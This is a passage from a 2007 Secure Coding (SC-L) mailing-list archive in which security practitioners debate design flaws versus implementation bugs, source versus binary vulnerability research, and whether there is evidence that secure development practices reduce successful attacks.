specification says "initialize this array" and the implementation says "for
(i=0; i<ARRAY_SIZE;i++){...". At yet another level the specification says
"get a contractor to write an air traffic control system" and the
implementation is a contract :)

So when you advocate automating the implementation and focusing on
specification, you are just moving the game up. You *do* change properties
when you move the game up, some for the better, some for the worse. Some
examples:

    * If you move up to type safe languages, then the compiler can prove
      some nice safety properties about your program for you. It does
      not prove total correctness, does not prove halting, just some
      nice safety properties.
    * If you move further up to purely declarative languages (PROLOG,
      strict functional languages) you get a bunch more analyzability.
      But they are still Turing-complete (thanks to Church-Rosser) so
      you still can't have total correctness.
    * If you moved up to some specification form that was no longer
      Turing complete, e.g. something weaker like predicate logic, then
      you are asking the compiler to contrive algorithmic solutions to
      nominally NP-hard problems. Of course they mostly aren't NP-hard
      because humans can create algorithms to solve them, but now you
      want the computer to do it. Which begs the question of the
      correctness of a compiler so powerful it can solve general purpose
      algorithms.


> If we assumed perfection at the implementation level (through better
languages, say), then we would end up solving roughly 50% of the software
security problem.
>
The 50% being rather squishy, but yes this is true. Its only vaguely what I
was talking about, really, but it is true.

Crispin

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
	AppArmor Chat: irc.oftc.net/#apparmor

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________



From coley at linus.mitre.org  Tue Jun 12 13:45:50 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 12 Jun 2007 13:45:50 -0400 (EDT)
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466DC37D.7060408@novell.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
	<466DC37D.7060408@novell.com>
Message-ID: <Pine.GSO.4.51.0706121330020.20287@faron.mitre.org>


On Mon, 11 Jun 2007, Crispin Cowan wrote:

> Gary McGraw wrote:
> > Though I don't quite understand computer science theory in the same way that Crispin does, I do think it is worth pointing out that there are two major kinds of security defects in software: bugs at the implementation level, and flaws at the design/spec level.  I think Crispin is driving at that point.
> >
> Kind of. I'm saying that "specification" and "implementation" are
> relative to each other: at one level, a spec can say "put an iterative
> loop here" and implementation of a bunch of x86 instructions.

I agree with this notion.  They can overlap at what I call "design
limitations": strcpy() being overflowable (and C itself being
overflowable) is a design limitation that enables programmers to make
implementation errors.  I suspect I'm just rephrasing a tautology, but
I've theorized that all implementation errors require at least one design
limitation.  No high-level language that I know of has a built-in
mechanism for implicitly containing files to a limited directory (barring
chroot-style jails), which is a design limitation that enables a wide
variety of directory traversal attacks.

If you have a standard authentication algorithm with a required step that
ensures integrity, then a product that doesn't perform this step has an
implementation bug at the algorithm's level - but if the developers didn't
even bother putting this requirement into the design, then at the product
level, it's a design problem.  Or something like that.

> > If we assumed perfection at the implementation level (through better
> > languages, say), then we would end up solving roughly 50% of the
> > software security problem.
> >
> The 50% being rather squishy, but yes this is true. Its only vaguely
> what I was talking about, really, but it is true.

For whatever it's worth, I think I agree with this, with the caveat that I
don't think we collectively have a solid understanding of design issues,
so the 50% guess is quite "squishy."  For example, the terminology for
implementation issues is much more mature than terminology for design
issues.

One sort-of side note: in our "vulnerability type distributions" paper
[1], which we've updated to include all of 2006, I mention how major Open
vs. Closed source vendor advisories have different types of
vulnerabilities in their top 10 (see table 4 analysis in the paper).
While this discrepancy could be due to researcher/tool bias, it's probably
also at least partially due to development practices or language/IDE
design.  Might be interesting for someone to pursue *why* such differences
occur.

- Steve

[1] http://cwe.mitre.org/documents/vuln-trends/index.html

From coley at linus.mitre.org  Tue Jun 12 14:07:57 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 12 Jun 2007 14:07:57 -0400 (EDT)
Subject: [SC-L] The Specifications of the Thing
In-Reply-To: <00cd01c7acf3$eaaee7b0$4ea7d280@central.purdue.lcl>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
	<466DC37D.7060408@novell.com>
	<00cd01c7acf3$eaaee7b0$4ea7d280@central.purdue.lcl>
Message-ID: <Pine.GSO.4.51.0706121358470.20287@faron.mitre.org>


On Tue, 12 Jun 2007, Michael S Hines wrote:

> So - aren't a lot of the Internet security issues errors or omissions in the
> IETF standards - leaving things unspecified which get implemented in
> different ways - some of which can be exploited due to implementation flaws
> (due to specification flaws)?

This happens a lot in interpretation conflicts [1] that occur in
"intermediaries" - proxies, IDses, firewalls, etc. - where they have to
interpret traffic/data according to how the end system is expected to
treat that data.  Incomplete specifications, or those that leave details
for an implementation, will often result in end systems that have
different behaviors based on the same input data.  nmap's OS detection
capability is an obvious example; Ptacek/Newsham's classic IDS evasion
paper is another.

Many of the anti-virus or spam bypass vulns being reported are of this
flavor (although lately, researchers have realized that they don't always
have to bother with interpretation conflicts when the products have
obvious overflows).

Non-standard implementations make the problem even worse, because then
they're not even acting like they're expected to, as we often see in
esoteric XSS variants.

- Steve

[1] "interpretation conflict" is my current term for
http://cwe.mitre.org/data/definitions/436.html

From crispin at novell.com  Tue Jun 12 14:41:07 2007
From: crispin at novell.com (Crispin Cowan)
Date: Tue, 12 Jun 2007 11:41:07 -0700
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <Pine.GSO.4.51.0706121330020.20287@faron.mitre.org>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
	<466DC37D.7060408@novell.com>
	<Pine.GSO.4.51.0706121330020.20287@faron.mitre.org>
Message-ID: <466EE8C3.3000209@novell.com>

Steven M. Christey wrote:
> On Mon, 11 Jun 2007, Crispin Cowan wrote:
>   
>> Kind of. I'm saying that "specification" and "implementation" are
>> relative to each other: at one level, a spec can say "put an iterative
>> loop here" and implementation of a bunch of x86 instructions.
>>     
> I agree with this notion.  They can overlap at what I call "design
> limitations": strcpy() being overflowable (and C itself being
> overflowable) is a design limitation that enables programmers to make
> implementation errors.  I suspect I'm just rephrasing a tautology, but
> I've theorized that all implementation errors require at least one design
> limitation.  No high-level language that I know of has a built-in
> mechanism for implicitly containing files to a limited directory (barring
> chroot-style jails), which is a design limitation that enables a wide
> variety of directory traversal attacks.
>   
I thought that the Java 2 security container stuff let you specify file
accesses? Similarly, I thought that Microsoft .Net managed code could
have an access specification?

AppArmor provides exactly that kind of access specification, but it is
an OS feature rather than a high level language, unless you want to view
AA policies as high level specifications.

>>> If we assumed perfection at the implementation level (through better
>>> languages, say), then we would end up solving roughly 50% of the
>>> software security problem.
>>>       
>> The 50% being rather squishy, but yes this is true. Its only vaguely
>> what I was talking about, really, but it is true.
>>     
> For whatever it's worth, I think I agree with this, with the caveat that I
> don't think we collectively have a solid understanding of design issues,
> so the 50% guess is quite "squishy."  For example, the terminology for
> implementation issues is much more mature than terminology for design
> issues.
>   
I don't agree with that. I think it is a community gap. The academic
security community has a very mature nomenclature for design issues. The
hax0r community has a mature nomenclature for implementation issues.
That these communities are barely aware of each other's existence, never
mind talking to each other, is a problem :)

> One sort-of side note: in our "vulnerability type distributions" paper
> [1], which we've updated to include all of 2006, I mention how major Open
> vs. Closed source vendor advisories have different types of
> vulnerabilities in their top 10 (see table 4 analysis in the paper).
> While this discrepancy could be due to researcher/tool bias, it's probably
> also at least partially due to development practices or language/IDE
> design.  Might be interesting for someone to pursue *why* such differences
> occur.
>   
Do you suppose it is because of the different techniques researchers use
to detect vulnerabilities in source code vs. binary-only code? Or is
that a bad assumption because the hax0rs have Microsoft's source code
anyway? :-)

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
	AppArmor Chat: irc.oftc.net/#apparmor


From BlueBoar at thievco.com  Tue Jun 12 15:07:19 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Tue, 12 Jun 2007 12:07:19 -0700
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466EE8C3.3000209@novell.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
	<466DC37D.7060408@novell.com>
	<Pine.GSO.4.51.0706121330020.20287@faron.mitre.org>
	<466EE8C3.3000209@novell.com>
Message-ID: <466EEEE7.9030703@thievco.com>

Crispin Cowan wrote:
> Do you suppose it is because of the different techniques researchers use
> to detect vulnerabilities in source code vs. binary-only code? Or is
> that a bad assumption because the hax0rs have Microsoft's source code
> anyway? :-)

I'm in the process of hiring an outside firm for security review of the
product for the day job. They didn't seem particularly interested in the
source, the binaries are sufficient. It appears to me that the
distinction between source and object is becoming a bit moot nowadays.


					Ryan

From coley at linus.mitre.org  Tue Jun 12 15:34:13 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 12 Jun 2007 15:34:13 -0400 (EDT)
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466EEEE7.9030703@thievco.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
	<466DC37D.7060408@novell.com>
	<Pine.GSO.4.51.0706121330020.20287@faron.mitre.org>
	<466EE8C3.3000209@novell.com> <466EEEE7.9030703@thievco.com>
Message-ID: <Pine.GSO.4.51.0706121522490.20287@faron.mitre.org>


I agree with Ryan, at the top skill levels anyway.  Binary reverse
engineering seems to have evolved to the point where I refer to binary as
"source-equivalent," and I was told by some well-known applied researcher
that some vulns are easier to find in binary than source.

But the bulk of public disclosures are not by top researchers, so I'd
suspect that in the general field, source inspection is more accessible
than binary.  So with closed source, people are more likely to use black
box tools, which might not be as effective in finding things like format
string issues, which often hide in rarely triggered error conditions but
are easy to grep for in source.  And maybe the people who have source code
aren't going to be as likely to use black box testing, which means that
obscure malformed-input issues might not be detected.  This is probably
the general researcher; the top researcher is more likely to do both.

Since techniques vary so widely across individuals and researcher bias is
not easily measurable, it's hard to get a conclusive answer about whether
there's a fundamental difference in the *latent* vulns in open vs. closed
(modulo OS-specific vulns), but the question is worth exploring.

On Tue, 12 Jun 2007, Blue Boar wrote:

> Crispin Cowan wrote:
> > Do you suppose it is because of the different techniques researchers use
> > to detect vulnerabilities in source code vs. binary-only code? Or is
> > that a bad assumption because the hax0rs have Microsoft's source code
> > anyway? :-)
>
> I'm in the process of hiring an outside firm for security review of the
> product for the day job. They didn't seem particularly interested in the
> source, the binaries are sufficient. It appears to me that the
> distinction between source and object is becoming a bit moot nowadays.
>
>
> 					Ryan
>

From James.McGovern at thehartford.com  Wed Jun 13 12:40:57 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 13 Jun 2007 12:40:57 -0400
Subject: [SC-L] Perspectives on Code Scanning
In-Reply-To: <004f01c7a905$9e4b15c0$4ea7d280@central.purdue.lcl>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999C02@AD1HFDEXC309.ad1.prod>

OK, so is the next challenge to create contract language that goes beyond the stuff that OWASP is doing to include all security requirements and not just web focused?

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Michael S Hines
Sent: Thursday, June 07, 2007 9:13 AM
To: 'Secure Coding'
Subject: Re: [SC-L] Perspectives on Code Scanning


> and that's the problem. the accountability for insecure coding should
> reside with the developers. it's their fault [mostly].

The customers have most of the power, but the security community has
collectively failed to educate customers on how to ask for more secure
software.  There are pockets of success, but a whole lot more could be done.

--- the software should work and be secure (co-requirements).  The user
community has been educated to accept CTL-ALT-DEL and wait as an acceptable
method of computing (and when things are really haywire - resintall the OS
and loose all your work).   We've got a long way to go for them to expect
software to also be secure, since they now accept that it doesn't work right
as SOP.

Mike Hines
mshines at purdue.edu


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gem at cigital.com  Wed Jun 13 20:59:23 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 13 Jun 2007 20:59:23 -0400
Subject: [SC-L] Harvard vs. von Neumann
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11F5DBE@va-mailhub.cigital.com>

I am reminded of a (bottle of wine induced) argument I once had with dan geer over whether a buffer overflow is a bug or a flaw.   We ultimately realized that I was sitting in the app code looking at strcpy() and dan was thinking of language architecture on a machine with innane memory layout.   We were both right...kind of.   Thing is, when it comes to misuse of really pathetic string functions in C, most developers make bugs...

Of course there is a deep relation between bugs and flaws.   Unfortunately, most software security discourse these days is stuck in the Web app bugs only mud.  Any acknowledgement of higher level thinking is a good thing.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.

 -----Original Message-----
From:   Crispin Cowan [mailto:crispin at novell.com]
Sent:   Monday, June 11, 2007 05:50 PM Eastern Standard Time
To:     Gary McGraw
Cc:     Blue Boar; SC-L at securecoding.org
Subject:        Re: [SC-L] Harvard vs. von Neumann

Gary McGraw wrote:
> Though I don't quite understand computer science theory in the same way that Crispin does, I do think it is worth pointing out that there are two major kinds of security defects in software: bugs at the implementation level, and flaws at the design/spec level.  I think Crispin is driving at that point.
>
Kind of. I'm saying that "specification" and "implementation" are
relative to each other: at one level, a spec can say "put an iterative
loop here" and implementation of a bunch of x86 instructions. At another
level, specification says "initialize this array" and the implementation
says "for (i=0; i<ARRAY_SIZE;i++){...". At yet another level the
specification says "get a contractor to write an air traffic control
system" and the implementation is a contract :)

So when you advocate automating the implementation and focusing on
specification, you are just moving the game up. You *do* change
properties when you move the game up, some for the better, some for the
worse. Some examples:

    * If you move up to type safe languages, then the compiler can prove
      some nice safety properties about your program for you. It does
      not prove total correctness, does not prove halting, just some
      nice safety properties.
    * If you move further up to purely declarative languages (PROLOG,
      strict functional languages) you get a bunch more analyzability.
      But they are still Turing-complete (thanks to Church-Rosser) so
      you still can't have total correctness.
    * If you moved up to some specification form that was no longer
      Turing complete, e.g. something weaker like predicate logic, then
      you are asking the compiler to contrive algorithmic solutions to
      nominally NP-hard problems. Of course they mostly aren't NP-hard
      because humans can create algorithms to solve them, but now you
      want the computer to do it. Which begs the question of the
      correctness of a compiler so powerful it can solve general purpose
      algorithms.


> If we assumed perfection at the implementation level (through better languages, say), then we would end up solving roughly 50% of the software security problem.
>
The 50% being rather squishy, but yes this is true. Its only vaguely
what I was talking about, really, but it is true.

Crispin

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
        AppArmor Chat: irc.oftc.net/#apparmor



From james.stibbards at cloakware.com  Thu Jun 14 09:42:19 2007
From: james.stibbards at cloakware.com (James Stibbards)
Date: Thu, 14 Jun 2007 09:42:19 -0400
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA11F5DBE@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11F5DBE@va-mailhub.cigital.com>
Message-ID: <000e01c7ae89$d4cd85e0$0ecb14ac@CW0669>

Hi Gary (good to see you at Gartner, BTW), 

I recall way back in the bad old days of the Orange Book that we used to
look for both Developmental Assurance and (emphasis here) Operational
Assurance.  To that end, systems are designed and implemented with certain
limitations or "assumptions" (shudder) about how they'll be operated.  In
terms of security, that might include that "unfriendlies" are not allow
physical access to the box itself, or other constraints. Perhaps this
"operational" aspect of things is just a part of implementation... But I've
seen several systems that were designed well, implemented well, and when
operated poorly (e.g. training didn't go over the necessary "secure boot"
operations), rendered the design and implementation moot.

Comments?

Best,
- James

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Gary McGraw
Sent: Wednesday, June 13, 2007 8:59 PM
To: 'Crispin Cowan'
Cc: 'SC-L at securecoding.org'; 'Blue Boar'
Subject: Re: [SC-L] Harvard vs. von Neumann

I am reminded of a (bottle of wine induced) argument I once had with dan
geer over whether a buffer overflow is a bug or a flaw.   We ultimately
realized that I was sitting in the app code looking at strcpy() and dan was
thinking of language architecture on a machine with innane memory layout.
We were both right...kind of.   Thing is, when it comes to misuse of really
pathetic string functions in C, most developers make bugs...

Of course there is a deep relation between bugs and flaws.   Unfortunately,
most software security discourse these days is stuck in the Web app bugs
only mud.  Any acknowledgement of higher level thinking is a good thing.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.

 -----Original Message-----
From:   Crispin Cowan [mailto:crispin at novell.com]
Sent:   Monday, June 11, 2007 05:50 PM Eastern Standard Time
To:     Gary McGraw
Cc:     Blue Boar; SC-L at securecoding.org
Subject:        Re: [SC-L] Harvard vs. von Neumann

Gary McGraw wrote:
> Though I don't quite understand computer science theory in the same way
that Crispin does, I do think it is worth pointing out that there are two
major kinds of security defects in software: bugs at the implementation
level, and flaws at the design/spec level.  I think Crispin is driving at
that point.
>
Kind of. I'm saying that "specification" and "implementation" are relative
to each other: at one level, a spec can say "put an iterative loop here" and
implementation of a bunch of x86 instructions. At another level,
specification says "initialize this array" and the implementation says "for
(i=0; i<ARRAY_SIZE;i++){...". At yet another level the specification says
"get a contractor to write an air traffic control system" and the
implementation is a contract :)

So when you advocate automating the implementation and focusing on
specification, you are just moving the game up. You *do* change properties
when you move the game up, some for the better, some for the worse. Some
examples:

    * If you move up to type safe languages, then the compiler can prove
      some nice safety properties about your program for you. It does
      not prove total correctness, does not prove halting, just some
      nice safety properties.
    * If you move further up to purely declarative languages (PROLOG,
      strict functional languages) you get a bunch more analyzability.
      But they are still Turing-complete (thanks to Church-Rosser) so
      you still can't have total correctness.
    * If you moved up to some specification form that was no longer
      Turing complete, e.g. something weaker like predicate logic, then
      you are asking the compiler to contrive algorithmic solutions to
      nominally NP-hard problems. Of course they mostly aren't NP-hard
      because humans can create algorithms to solve them, but now you
      want the computer to do it. Which begs the question of the
      correctness of a compiler so powerful it can solve general purpose
      algorithms.


> If we assumed perfection at the implementation level (through better
languages, say), then we would end up solving roughly 50% of the software
security problem.
>
The 50% being rather squishy, but yes this is true. Its only vaguely what I
was talking about, really, but it is true.

Crispin

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
        AppArmor Chat: irc.oftc.net/#apparmor


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From gem at cigital.com  Thu Jun 14 15:51:44 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 14 Jun 2007 15:51:44 -0400
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <000e01c7ae89$d4cd85e0$0ecb14ac@CW0669>
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11CD2BA@va-mailhub.cigital.com>

Hi James,

I am in complete agreement with your thinking, which is why one of the touchpoints (and chapter 9 of "Software Security" is about operations.  Ken knows more about this than any of us, but he's on a plane now...right Ken?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


-----Original Message-----
From: James Stibbards [mailto:james.stibbards at cloakware.com]
Sent: Thursday, June 14, 2007 9:42 AM
To: Gary McGraw
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] Harvard vs. von Neumann

Hi Gary (good to see you at Gartner, BTW),

I recall way back in the bad old days of the Orange Book that we used to
look for both Developmental Assurance and (emphasis here) Operational
Assurance.  To that end, systems are designed and implemented with certain
limitations or "assumptions" (shudder) about how they'll be operated.  In
terms of security, that might include that "unfriendlies" are not allow
physical access to the box itself, or other constraints. Perhaps this
"operational" aspect of things is just a part of implementation... But I've
seen several systems that were designed well, implemented well, and when
operated poorly (e.g. training didn't go over the necessary "secure boot"
operations), rendered the design and implementation moot.

Comments?

Best,
- James

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Gary McGraw
Sent: Wednesday, June 13, 2007 8:59 PM
To: 'Crispin Cowan'
Cc: 'SC-L at securecoding.org'; 'Blue Boar'
Subject: Re: [SC-L] Harvard vs. von Neumann

I am reminded of a (bottle of wine induced) argument I once had with dan
geer over whether a buffer overflow is a bug or a flaw.   We ultimately
realized that I was sitting in the app code looking at strcpy() and dan was
thinking of language architecture on a machine with innane memory layout.
We were both right...kind of.   Thing is, when it comes to misuse of really
pathetic string functions in C, most developers make bugs...

Of course there is a deep relation between bugs and flaws.   Unfortunately,
most software security discourse these days is stuck in the Web app bugs
only mud.  Any acknowledgement of higher level thinking is a good thing.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.

 -----Original Message-----
From:   Crispin Cowan [mailto:crispin at novell.com]
Sent:   Monday, June 11, 2007 05:50 PM Eastern Standard Time
To:     Gary McGraw
Cc:     Blue Boar; SC-L at securecoding.org
Subject:        Re: [SC-L] Harvard vs. von Neumann

Gary McGraw wrote:
> Though I don't quite understand computer science theory in the same way
that Crispin does, I do think it is worth pointing out that there are two
major kinds of security defects in software: bugs at the implementation
level, and flaws at the design/spec level.  I think Crispin is driving at
that point.
>
Kind of. I'm saying that "specification" and "implementation" are relative
to each other: at one level, a spec can say "put an iterative loop here" and
implementation of a bunch of x86 instructions. At another level,
specification says "initialize this array" and the implementation says "for
(i=0; i<ARRAY_SIZE;i++){...". At yet another level the specification says
"get a contractor to write an air traffic control system" and the
implementation is a contract :)

So when you advocate automating the implementation and focusing on
specification, you are just moving the game up. You *do* change properties
when you move the game up, some for the better, some for the worse. Some
examples:

    * If you move up to type safe languages, then the compiler can prove
      some nice safety properties about your program for you. It does
      not prove total correctness, does not prove halting, just some
      nice safety properties.
    * If you move further up to purely declarative languages (PROLOG,
      strict functional languages) you get a bunch more analyzability.
      But they are still Turing-complete (thanks to Church-Rosser) so
      you still can't have total correctness.
    * If you moved up to some specification form that was no longer
      Turing complete, e.g. something weaker like predicate logic, then
      you are asking the compiler to contrive algorithmic solutions to
      nominally NP-hard problems. Of course they mostly aren't NP-hard
      because humans can create algorithms to solve them, but now you
      want the computer to do it. Which begs the question of the
      correctness of a compiler so powerful it can solve general purpose
      algorithms.


> If we assumed perfection at the implementation level (through better
languages, say), then we would end up solving roughly 50% of the software
security problem.
>
The 50% being rather squishy, but yes this is true. Its only vaguely what I
was talking about, really, but it is true.

Crispin

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
        AppArmor Chat: irc.oftc.net/#apparmor


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________



From ken at krvw.com  Fri Jun 15 13:25:01 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 15 Jun 2007 13:25:01 -0400
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA11CD2BA@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CD2BA@va-mailhub.cigital.com>
Message-ID: <BF67605B-AF5A-4F60-BCB4-82C600E7ED4C@krvw.com>

On Jun 14, 2007, at 3:51 PM, Gary McGraw wrote:
> I am in complete agreement with your thinking, which is why one of  
> the touchpoints (and chapter 9 of "Software Security" is about  
> operations.  Ken knows more about this than any of us, but he's on  
> a plane now...right Ken?

Wow, I'd stop far short of such strong words, but I have spent a  
great deal of time in operations land, and I am convinced we're (all)  
missing out on significant opportunities to enhance our software  
security by better making use of deployment security, for lack of a  
better term.  I've seen far too many "one size fits all" approaches  
to software deployments that fall far short of adequately protecting  
the app, much less enabling the detection and response of issues when  
they come up.

Cheers,

Ken

P.S. And yes, I was on a plane.  Greetings from Lisbon, en route to  
Sevilla, Spain for the FIRST conference.  I'll again toss out the  
offer to meet with any SC-Lers who are at the conference.
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070615/6b3eabc9/attachment.bin 

From gem at cigital.com  Tue Jun 19 19:19:01 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 19 Jun 2007 19:19:01 -0400
Subject: [SC-L] Silver bullet: annie anton
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11F5E97@va-mailhub.cigital.com>


Hi sc-lers,

One often overlooked aspect of software security is our responsibility to promote reasonable privacy policy.   One of the leaders in the privacy field is annie anton, a prof at NCSU.   She is the latest silver bullet victim:

http://www.cigital.com/silverbullet/show-015/

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.


From goertzel_karen at bah.com  Mon Jun 25 14:48:59 2007
From: goertzel_karen at bah.com (Goertzel, Karen)
Date: Mon, 25 Jun 2007 14:48:59 -0400
Subject: [SC-L] But what proof do we have that any of it makes a difference?
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA11F5E97@va-mailhub.cigital.com>
Message-ID: <184D5FFC5203644FB4F8864B0EE445B401AC6B66@MCLNEXVS06.resource.ds.bah.com>

There are two closely-related questions that keep arising for which I
still can find no satisfying answer (for me "satisfying" means
"supported by concrete evidence"):

[1] Will using a secure SDLC methodology (or a set of secure development
"best practices") actually produce software that will, when deployed "in
the wild" resist or tolerate attacks and attempted executions of
inserted/embedded malicious code better than software whose developers
did not use a secure SDLC methodology?

[2] Will software that adheres to a set of "security principles", when
deployed "in the wild", actually resist or tolerate attacks and
attempted execution of inserted/embedded malicious code better than
software whose developers did not adhere to security principles?

Right now, all I can find are abundant (possibly TOO abundant) vaguely
supported - and frequently unsupported - assertions by SwA
practitioners, authors of books on software security, and promoters of
secure SDLC methodologies. What I can't find is concrete
cause-and-effect evidence to back up those assertions.

Possibly, the problem starts with our industry's inability to
unequivocally demonstrate that "secure software" even exists - not in
the conceptual sense (I'm overfed with concepts of what software should
be to be considered secure) - but in real world implementations. 

Where are the case studies that demonstrate that BECAUSE such-and-such a
secure SDLC methodology was used or BECAUSE such-and-such a set of
secure principles were adhered to, the resulting software, when
attacked, was able to resist (or tolerate) the attack without being
compromised.

I've found the case studies that tell me how following a given secure
SDLC methodology made regulators happy. I've found case studies saying
there were fewer vulnerabilities in software that was produced under a
secure development regime. But I have yet to see any studies that
unambigiously demonstrate that BECAUSE certain security regulations were
satisfied or BECAUSE the software had fewer vulnerabilities,  attacks on
it were unable to succeed.

Is the problem down to the still-embryonic state of software security
metrics? I think it's fair to say that there's not yet anything
approaching wide agreement even about what characteristics of software
can and should be measured to provide irrefutable evidence that software
exhibits a fixed, or even a relative, level of security. For example,
given there's probably at least one metric that can be used to quantify
the degree to which particular software design adheres to a required set
of secure design principles, what does that metric tell us about how
much more secure the software is than it would have been had its design
not adhered to those principles?

If I can't even find good metrics for quantifying how secure a given
program is, how can I hope to find a good metric for determining ex post
facto (let alone predicting) whether that program, because it was
developed using a given secure methodology or set of "best security
practices", is in fact more secure - and to what extent - when compared
against the same program developed using a traditional,
non-security-minded methodology/set of practices. 

I'm thinking that some university needs to do a spin on "n-version
programming" wherein the same user needs statement is given to 3
different development teams - #1 using a security enhanced methodology
and adhering to security principles, #2 using a traditional methodology
and adhering to security principles, and #3 not doing anything about
security. The resulting three different program versions would then be
subjected to pen tests and other blackhat tests, and measurements would
be taken vis how each one fared in terms of attack-resistance or
attack-tolerance. Not a perfect metric by any means, but at least it
would give some idea of the relative good-better-bestness of the three
approaches to developing the software.

In the absence of such metrics, we're all left to take it on faith that
because SwA practioners and authors we respect make certain
unsubstantiated assertions about "goodness" of their secure
methodologies and the necessity of security principles, following those
methods and adhering to those principles will produce an even
qualitatively verifiable benefit, i.e., that the software will be less
vulnerable to compromise when deployed "out in the wild" than software
produced "the old fashioned way". 


--
Karen Mercedes Goertzel, CISSP
Booz Allen Hamilton
703.902.6981
goertzel_karen at bah.com 


From peter.amey at praxis-his.com  Tue Jun 26 07:56:45 2007
From: peter.amey at praxis-his.com (Peter Amey)
Date: Tue, 26 Jun 2007 12:56:45 +0100
Subject: [SC-L] But what proof do we have that any of it makes a
	difference?
Message-ID: <4BF0455B353E524FBEA15C3A490F7DFEFE4765@EVS01.praxis.local>

 

> -----Original Message-----
> From: sc-l-bounces at securecoding.org 
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of Goertzel, Karen
> Sent: 25 June 2007 19:49
> To: Secure Coding
> Subject: [SC-L] But what proof do we have that any of it 
> makes a difference?
> 
> There are two closely-related questions that keep arising for 
> which I still can find no satisfying answer (for me 
> "satisfying" means "supported by concrete evidence"):
> 
> [1] Will using a secure SDLC methodology (or a set of secure 
> development "best practices") actually produce software that 
> will, when deployed "in the wild" resist or tolerate attacks 
> and attempted executions of inserted/embedded malicious code 
> better than software whose developers did not use a secure 
> SDLC methodology?
